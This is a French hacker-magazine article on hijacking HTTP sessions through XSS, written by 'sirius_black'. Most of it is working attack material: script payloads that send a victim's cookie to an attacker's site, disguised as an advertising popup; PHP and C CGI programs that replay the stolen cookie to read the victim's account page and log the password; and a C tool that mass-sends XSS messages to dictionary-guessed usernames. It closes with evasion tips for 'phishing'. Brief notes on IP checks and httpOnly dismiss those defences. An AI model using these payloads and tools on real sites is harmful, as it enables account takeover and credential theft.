Vol de session HTTP

Intro

Là vous vous dites "Tu vas voir que cet enculé va nous faire un article de plus sur le XSS"... Et bien vous avez tort ! (ou presque.)
En fait je vais vous décrire la dernière étape de l'exploitation d'une faille XSS. La quasi-totalité des articles sur le sujet ne couvre pas l'exploitation à proprement parler de ce type de failles.
Au mieux on vous donne un script qui récupère les cookies et qui les enregistre dans un fichier.... et après c'est "démerdez-vous !".
Ici je vais décrire une exploitation complète avec vol de session automatique :p

Quelques rappels ?

Le XSS c'est le Cross Script Scripting. Ca consiste a faire exécuter du code javascript dans le navigateur du client. Le truc c'est bien évidemment de trouver un script qui ne filtre pas les variables et va exécuter bêtement ce qu'on lui passe.

Le HTTP et les Cookies : Le gros problème dans le protocole HTTP est qu'il est "stateless". Cela veut dire que d'une page à une autre le serveur aura totalement oublié qui vous êtes. Ce défaut a fait un peu tâche quand des sites ont voulus proposer des services comme les webmails ou les forums qui doivent garder en mémoire l'identité du visiteur tout au long de sa "session".
Alors comme d'habitude, au lieu de tout reprendre au début pour faire un truc qui soit sûr de base, les ingénieurs ont préféré bricoler un truc pas trop mal par dessus le truc déguellase qui existait : ils ont crée les cookies.
Aussitôt les cookies ont été utilisés pour le principe de session. Il faut dire que c'est bien plus discret de mettre l'ID de session dans les cookies que de le passer en argument ou que de le mettre en champ caché dans toutes les pages.

Comment sont envoyés les cookies ?

Les cookies ne sont pas envoyés spécifiquement par la méthode GET ou la méthode POST (heureusement d'ailleurs) ; ils sont tout simplement mis dans les headers HTTP.
Prenons l'exemple de Caramail : vous vous connectez sur le site et vous entrez votre login et votre password. Le serveur vérifie que c'est valide et vous envoie l'identifiant de session qui vous permet d'accèder à vos mails (et surtout d'être le seul à lire vos mails).
L'identifiant de session en question est envoyé par l'en-tête :
Set-Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a
Ici la variable de session s'appelle PHPSESSID mais son nom pourrait très bien être différent.
Les cookies sont toujours formatés de la forme nom1=valeur1; nom2=valeur2; nom3=valeur3 etc
Par exemple le cookie aurait pu être PHPSESSID=382d3c6ea8a9c23829aa0acc39b0dad9; path=/
avec deux variables.

Quand votre navigateur reçoit l'en-tête Set-Cookie, il enregistre la valeur du cookie en mémoire et surtout l'adresse du serveur qui va avec. Si il ne faisait pas le lien entre les deux, le navigateur pourrait envoyer le cookie à n'importe quel serveur :(

Maintenant que votre navigateur possède le cookie avec l'identifiant de session vous pouvez accèder à votre espace privé. Comme HTTP est stateless votre navigateur doit renvoyer le cookie à chaque requête. Il l'envoit alors avec l'en-tête suivant :
Cookie : PHPSESSID=e67d10d30d5b170cc0950ce559632a1a

Le serveur a lui aussi de son côté un fichier correspondant à votre session. Ainsi lorsque vous cliquez sur "déconnexion" le serveur efface ce fichier et vous ne pouvez plus accèder à votre espace privé.

Vous l'avez deviné, le vol de session HTTP consiste à accèder à cet espace privé en envoyant le cookie valide alors que la session est encore ouverte. Et pour obtenir ce cookie on a recours à la variable javascript document.cookie. Si vous voulez en savoir plus sur l'injection XSS reportez vous à l'article de MindFlayR dans MindKind11.

Du code !! On veut du code !

Pour faire mes tests j'ai programmé une petite zone membre que vous trouverez avec le mag (room.zip.) Cet espace permet aux utilisateurs enregistrés de s'envoyer des messages privés. Premier problème : les messages ne sont pas filtrés et l'injection de code javascript est possible. Second problème : quand on clique sur "Modifier mes infos" le script charge un formulaire déjà remplis :


Il suffit alors d'afficher la source pour avoir le mot de passe de l'utilisateur en clair (ici l'utilisateur root a pour mot de passe "root".)

L'autre utilisateur sur le système (toto) est au courant de cette faille. Il envoie comme message le texte :
Salut root !<script>window.open("http://toto.com/vphp/hack.php?"+document.cookie);</script>
Qui ouvre dans une nouvelle fenêtre la page hack.php sur le site de toto en lui passant comme argument le cookie de root.

Le script en question va alors récupérer le cookie, former une requête HTTP avec ce cookie, demander la page account.php ("Modifier mes infos") et aura ainsi le password de root.
Voivi le code :
<?php
$request = "GET /room/account.php HTTP/1.1\r\n";
$request.= "Host: webmail.com\r\n";
$request.= "Cookie: {$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection :close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
  $content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>

Ainsi quand root va lire ses messages il va voir un message de toto lui disant 'Salut root !'. En même temps une fenêtre va s'ouvrir qui va récupérer son cookie, lire sa page account.php et l'enregistrer dans le fichier log.txt du serveur de toto.
Quelques minutes plus tard toto ouvre son fichier log.txt et il voit parmis les lignes :
Password : <input type="password" name="passe" value="root">
Malheureusement il y a plusieurs problèmes... D'abord c'est pas super discret. Il suffit de lire l'adresse de la nouvelle fenêtre pour comprendre le piège. Le truc simple pour rémédier à ce problème c'est de faire passer la fenêtre qui va voler le cookie pour une popup publicitaire.

Toto décide d'améliorer sa technique. Il trouve une image plus ou moins chaude pour faire croire à une pub. L'image fait 165 pixel de largeur et 235 pixel de hauteur. Il modifie ensuite le script qu'il envoie à root :

Salut root !
<script>
window.open("http://toto.com/vphp/hack.php?"+document.cookie,
"",
"toolbar=no,location=no,directories=no,menubar=no,scrollbars=no,status=no,resizable=0,width=165,height=235");
</script>

De cette façon lorsque root lit ses mails une popup sans barre d'adresse, sans possibilité de redimensionnement, sans barre d'état et exactement de la taille de l'image s'affiche. De son côté le php de toto doit être modifié :

<html>
<head><title>S&M Airlines</title></head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<?php
$request = "GET /room/account.php HTTP/1.1\r\n";
$request.= "Host: webmail.com\r\n";
$request.= "Cookie: {$_SERVER['QUERY_STRING']}\r\n";
$request.= "Connection :close\r\n";
$request.= "\r\n";
$s=fsockopen("webmail.com",80,$errno,$errstr,30);
fputs($s,$request);
$content='';
while(!feof($s))
{
  $content.=fgets($s,4096);
}
fclose($s);
$f=fopen("log.txt","a");
fwrite($f,$content);
fclose($f);
?>
<img src="sm.jpeg">
</body>
</html>

L'ilusion est maintenant parfaite. Root croit qu'il s'agit d'une fenêtre publicitaire. Petit problème : c'est LENT !!!! c'est même super lent ! (pour vous donner un autre d'idée root aurait le temps de fermer 14 popups avant que notre script finisse de charger complétement.) Ça c'est à cause de PHP : les sockets en PHP c'est pas au point. Bref on a le concept, l'algo mais pas le bon langage.
C'est pas grave on va coder un CGI en C :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define	TITLE "Voleur de session"
#define HOST "localhost"
#define URI "/room/account.php"

char x2c(char *what);
void header();
void footer();

int main(int argc, char *argv[])
{
	FILE *out;
	char requete[1024];
	WSADATA wsa;
	SOCKET sock;
	SOCKADDR_IN addr;
	struct hostent *hp;
	char ch;

	char *qs = (char *)malloc(256);
	int x = 0, i = 0, c = 0, f = 0;
	qs = getenv("QUERY_STRING");
	if (qs != NULL){
		/*
		 * Bout de code dont je ne connais pas l'auteur qui
		 * permet de traduire les %xx en leurs caractères.
		 */
		for (x = 0, i = 0; qs[i]; x++, i++) {
			if ((qs[x] = qs[i]) == '%') {
				qs[x] = x2c(&qs[i + 1]);
				i += 2;
			}
		}
		qs[x] = '\0';

		header();

		/*
		 * Here you must put your c0d3 !
		 */
		printf("Ton cookie semble etre :<br>%s<br>\n",qs);

		sprintf(requete,"GET %s HTTP/1.1\n"
			            "Host: %s\nCookie: ",
						URI,
						HOST);
		lstrcat(requete,qs);
		lstrcat(requete,"\nConnection: close\n\n");
		
		printf("Essayons la requete :<br>%s<br>\n",requete);
		
		if(WSAStartup(0x0101,&wsa)!=0)
		{
			printf("Initialisation de winsock impossible!");
			return 0;
		}
		if((hp = gethostbyname(HOST))==0)
		{
			printf("Impossible de trouver %s",HOST);
			return 1;
		}
		
		if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
		{
			printf("Pb creation socket");
			return 1;
		}
		addr.sin_addr=*((struct in_addr *)hp->h_addr);
		addr.sin_family=AF_INET;
		addr.sin_port=htons(80);
		
		if(!(connect(sock,(SOCKADDR *)&addr,sizeof(addr))))
		{
			printf("Connexion OK\n<br>");
			send(sock,requete,strlen(requete),0);
			printf("Data sended\n<br>");
			printf("\n");
			out=fopen("file.txt","w");
			while((recv(sock, &ch, 1, 0))==1)
			{
				fputc(ch,out);
			}
			fclose(out);
		}
		else
		{
			printf("Impossible de se connecter\n");
		}
		closesocket(sock);
		WSACleanup();
			  
	}
	footer();
	return 0;
}

char x2c(char *what)
{
	register char digit;
	
	digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
	digit *= 16;
	digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
	return (digit);
}

void header() {
	printf("Content-type: text/html\n\n");
	printf("<html>\n<head><title>%s</title></head>\n", TITLE);
	printf("<body>\n<pre>\n");
}

void footer() {
	printf("</pre></body></html>\n");
}

C'est le CGI que j'ai crée pour faire mes tests. Il faudra faire quelques retouches si vous désirez le rendre discret.
Toto compile le CGI (l'exemple ici est une version windows) et le met dans son répertoire cgi-bin. Puis il envoie le message :
Salut root ! Devines qui c'est ?<script>window.open("http://toto.com/cgi-bin/sess_thieft.exe?"+document.cookie);</script>

Quand root lit ses mails une fenêtre s'ouvre... aussitôt ouverte aussitôt chargée :) Vive le C !!
Vous trouverez une version linux du CGI avec le mag. Il suffit de faire un make puis de donner l'extension cgi au programme compilé avant de le placer dans cgi-bin.

Bon dans l'exemple que je vous ai montré c'était un cas stupide mais la méthode est toujours la même. Par exemple sur certains forums quand on ne se rappelle plus de son mot de passe il faut cliquer sur "Me rappeller mon mot de passe" et on reçoit notre pass dans notre boîte mail. Avec la méthode du vol de cookie, à la place de lire une page HTML, on va changer l'adresse email de notre victime en envoyant une requête POST. Par exemple toto va changer l'email de root en 'toto@toto.com' puis il ira sur le forum, fera un échec de connexion en tant que root (mauvais mot de passe) puis cliquera sur "Me rappeller mon mot de passe" et aura le mot de passe root :)

Bon ! Maintenant on sait voler la session d'un utilisateur particulier de façon automatique et surtout au moment où la session est toujours ouverte. Mais tant qu'à faire un script automatique autant qu'il serve le plus possible... Comment faire pour attaquer tous les utilisateurs du forum ou du webmail cible ?
La solution la plus simple est de trouver une faille XSS dans une page statique (je veux dire qui est la même pour tous les utilisateurs.) Malheureusement ce n'est pas toujours le cas...
Il faut alors appliquer l'injection XSS à tous les utilisateurs. On ne connaît pas le nom de tous les utilisateurs mais il y a de bonnes chances que la plupart des noms ou logins soient tirés d'un dictionnaire...

La solution : un brute force de requête HTTP. Imaginons un forum vulnérable au XSS au niveau du script des messages privés. La page doit être appelée de la façon suivante :
/forum/pv.php?login=<login_utilisateur>&message=<message>
Il suffira de changer la variable login à chaque requête... Passons maintenant à la programmation. Nous allons utiliser une astuce pour rendre l'exploitation plus rapide. Depuis la version 1.1, le protocole HTTP permet les connexions persistantes. C'est à dire qu'un navigateur peut demander plusieurs fichiers à un serveur HTTP à la suite sans avoir à se reconnecter. Avec les anciennes versions nous aurions dû pour chaque requête : nous connecter au serveur - envoyer notre reqûete - nous déconnecter...
Ici on va se connecter une seule fois et envoyer toutes nos requêtes à la suite...

-- brute_req.c --

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define DICO_PATH "dico.txt"
#define HOST "localhost"

int main(int argc,char *argv[])
{
    FILE *in;
    char requete[1024];
    int sock;
    struct sockaddr_in addr;
    struct hostent *hp;
    char mot[32];
    char c;
    unsigned int i;

    if((hp=gethostbyname(HOST))==0)
    {
        printf("Impossible de trouver %s.\n",HOST);
        return -1;
    }

    bcopy((char*)hp->h_addr, (char*)&addr.sin_addr, hp->h_length);
    addr.sin_family=hp->h_addrtype;
    addr.sin_port=htons(80);

    if((sock=socket(AF_INET, SOCK_STREAM, 0))==-1)
    {
        perror("Pb socket()");
        return -1;
    }
	
    if((connect(sock,(struct sockaddr*)&addr,sizeof(addr)))!=-1)
    {
        printf("La connexion a ete etablie.\n");
        if(!(in=fopen(DICO_PATH, "r")))
        {
            perror("Ouverture dico.\n");
            close(sock);
            return -1;
        }
        i=0;
        while(!feof(in))
        {
            fread(&c,1,1,in);
            if(c=='\n')
            {
                mot[i]='\0';
                i=0;
                sprintf(requete,
                        "GET /forum/pv.php?login=%s"
                        "&message=<script>alert('bl4h!')</script> HTTP/1.1\n"
                        "Host: %s\n"
                        "Connection: Keep-Alive\n\n",
                        mot,
                        HOST);
                send(sock, requete, strlen(requete), 0);
            }
            else
            {
                mot[i]=c;
                i++;
            }
        }
        fclose(in);
        sprintf(requete,"GET / HTTP/1.1\n"
                "Host: %s\n"
                "Connection: close\n\n",
                HOST);
        send(sock,requete,strlen(requete),0);
    }
    close(sock);
    return 0;
}

Les protections possibles contre le vol de session

Evidemment il existe des moyens de bloquer le vol de session HTTP. La plus répandu est de faire une vérification sur l'IP du visiteur. Lorsque vous vous loggez le script garde en mémoire votre IP :
$_SESSION['IP']=$_SERVER['REMOTE_ADDR'];
Ensuite à chaque page demandée il compare l'ip du visiteur avec celle enregistrée au login... Si c'est différent il vous redirige vers une page d'erreur.

La nouvelle protection contre le vol de cookie vient de Microsoft et s'appelle httpOnly. Le principe est d'empécher le navigateur de la victime de donner le précieux cookie à la victime. Pour déclarer un cookie comme étant httpOnly, le serveur doit envoyer au navigateur la requête :
Set-Cookie: nom=valeur; httpOnly
Lorsque le navigateur reçoit un cookie avec l'option httpOnly, il désactive la fonction javascript document.cookie et empèche donc la récupération du cookie.
Mais ne vous inquiétez pas : comme c'est une invention Microsoft le seul navigateur qui supporte cette option pour le moment est IE 6 et on sait que IE n'est pas le navigateur le plus sûr :p

Derniers conseils pour la route

Avant de vous lancer dans le phishing sauvage n'oubliez pas la règle principale : bien étudier sa victime. Si le site que vous attaquez lance régulièrement des popups publicitaire, reprenez exactement le code de la popup pour que votre CGI ne fasse pas "tâche". Ensuite n'hésitez pas à encoder l'url de votre cgi en remplacant les caractères par leur représentation hexadécimale.

sirius_black